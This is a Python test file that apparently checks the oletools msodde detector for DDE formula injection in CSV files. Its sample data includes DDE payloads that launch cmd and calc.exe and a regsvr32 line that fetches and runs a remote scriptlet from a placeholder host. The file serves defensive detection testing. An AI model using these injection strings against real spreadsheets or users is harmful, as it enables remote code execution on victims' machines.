test_csv.py
5.81 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#!/usr/bin/env python3
""" Check various csv examples """
import unittest
from tempfile import mkstemp
import os
from os.path import join
from oletools import msodde
from tests.test_utils import OutputCapture, DATA_BASE_DIR
class TestCSV(unittest.TestCase):
""" Check various csv examples """
DO_DEBUG = False
def test_texts(self):
""" write some sample texts to file, run those """
SAMPLES = (
"=cmd|'/k ..\\..\\..\\Windows\\System32\\calc.exe'!''",
"=MSEXCEL|'\\..\\..\\..\\Windows\\System32\\regsvr32 /s /n /u " +
"/i:http://RemoteIPAddress/SCTLauncher.sct scrobj.dll'!''",
"completely innocent text"
)
LONG_SAMPLE_FACTOR = 100 # make len(sample) > CSV_SMALL_THRESH
DELIMITERS = ',\t ;|^'
QUOTES = '', '"' # no ' since samples use those "internally"
PREFIXES = ('', '{quote}item-before{quote}{delim}',
'{quote}line{delim}before{quote}\n'*LONG_SAMPLE_FACTOR,
'{quote}line{delim}before{quote}\n'*LONG_SAMPLE_FACTOR +
'{quote}item-before{quote}{delim}')
SUFFIXES = ('', '{delim}{quote}item-after{quote}',
'\n{quote}line{delim}after{quote}'*LONG_SAMPLE_FACTOR,
'{delim}{quote}item-after{quote}' +
'\n{quote}line{delim}after{quote}'*LONG_SAMPLE_FACTOR)
for sample_core in SAMPLES:
for prefix in PREFIXES:
for suffix in SUFFIXES:
for delim in DELIMITERS:
for quote in QUOTES:
# without quoting command is split at space or |
if quote == '' and delim in sample_core:
continue
sample = \
prefix.format(quote=quote, delim=delim) + \
quote + sample_core + quote + \
suffix.format(quote=quote, delim=delim)
output = self.write_and_run(sample)
n_links = len(self.get_dde_from_output(output))
desc = 'sample with core={0!r}, prefix-len {1}, ' \
'suffix-len {2}, delim {3!r} and quote ' \
'{4!r}'.format(sample_core, len(prefix),
len(suffix), delim, quote)
if 'innocent' in sample:
self.assertEqual(n_links, 0, 'found dde-link '
'in clean sample')
else:
msg = 'Failed to find dde-link in ' + desc
self.assertEqual(n_links, 1, msg)
if self.DO_DEBUG:
print('Worked: ' + desc)
def test_file(self):
""" test simple small example file """
filename = join(DATA_BASE_DIR, 'msodde', 'dde-in-csv.csv')
with OutputCapture() as capturer:
capturer.reload_module(msodde) # re-create logger
ret_code = msodde.main([filename, ])
self.assertEqual(ret_code, 0)
links = self.get_dde_from_output(capturer)
self.assertEqual(len(links), 1)
self.assertEqual(links[0],
r"cmd '/k \..\..\..\Windows\System32\calc.exe'")
def write_and_run(self, sample_text):
""" helper for test_texts: save text to file, run through msodde """
filename = None
handle = 0
try:
handle, filename = mkstemp(prefix='oletools-test-csv-', text=True)
os.write(handle, sample_text.encode('ascii'))
os.close(handle)
handle = 0
args = [filename, ]
if self.DO_DEBUG:
args += ['-l', 'debug']
with OutputCapture() as capturer:
capturer.reload_module(msodde) # re-create logger
ret_code = msodde.main(args)
self.assertEqual(ret_code, 0, 'checking sample resulted in '
'error:\n' + sample_text)
return capturer
except Exception:
raise
finally:
if handle:
os.close(handle)
handle = 0 # just in case
if filename:
if self.DO_DEBUG:
print('keeping for debug purposes: {0}'.format(filename))
else:
os.remove(filename)
filename = None # just in case
def get_dde_from_output(self, capturer):
""" helper to read dde links from captured output
duplicate in tests/msodde/test_basic
"""
have_start_line = False
result = []
for line in capturer:
if self.DO_DEBUG:
print('captured: ' + line)
if not line.strip():
continue # skip empty lines
if have_start_line:
result.append(line)
elif line == 'DDE Links:':
have_start_line = True
self.assertTrue(have_start_line) # ensure output was complete
return result
def test_regex(self):
""" check that regex captures other ways to include dde commands
from http://www.exploresecurity.com/from-csv-to-cmd-to-qwerty/ and/or
https://www.contextis.com/blog/comma-separated-vulnerabilities
"""
kernel = "cmd|'/c calc'!A0"
for wrap in '={0}', '@SUM({0})', '"={0}"', '+{0}', '-{0}':
cmd = wrap.format(kernel)
self.assertNotEqual(msodde.CSV_DDE_FORMAT.match(cmd), None)
# just in case somebody calls this file as a script
if __name__ == '__main__':
unittest.main()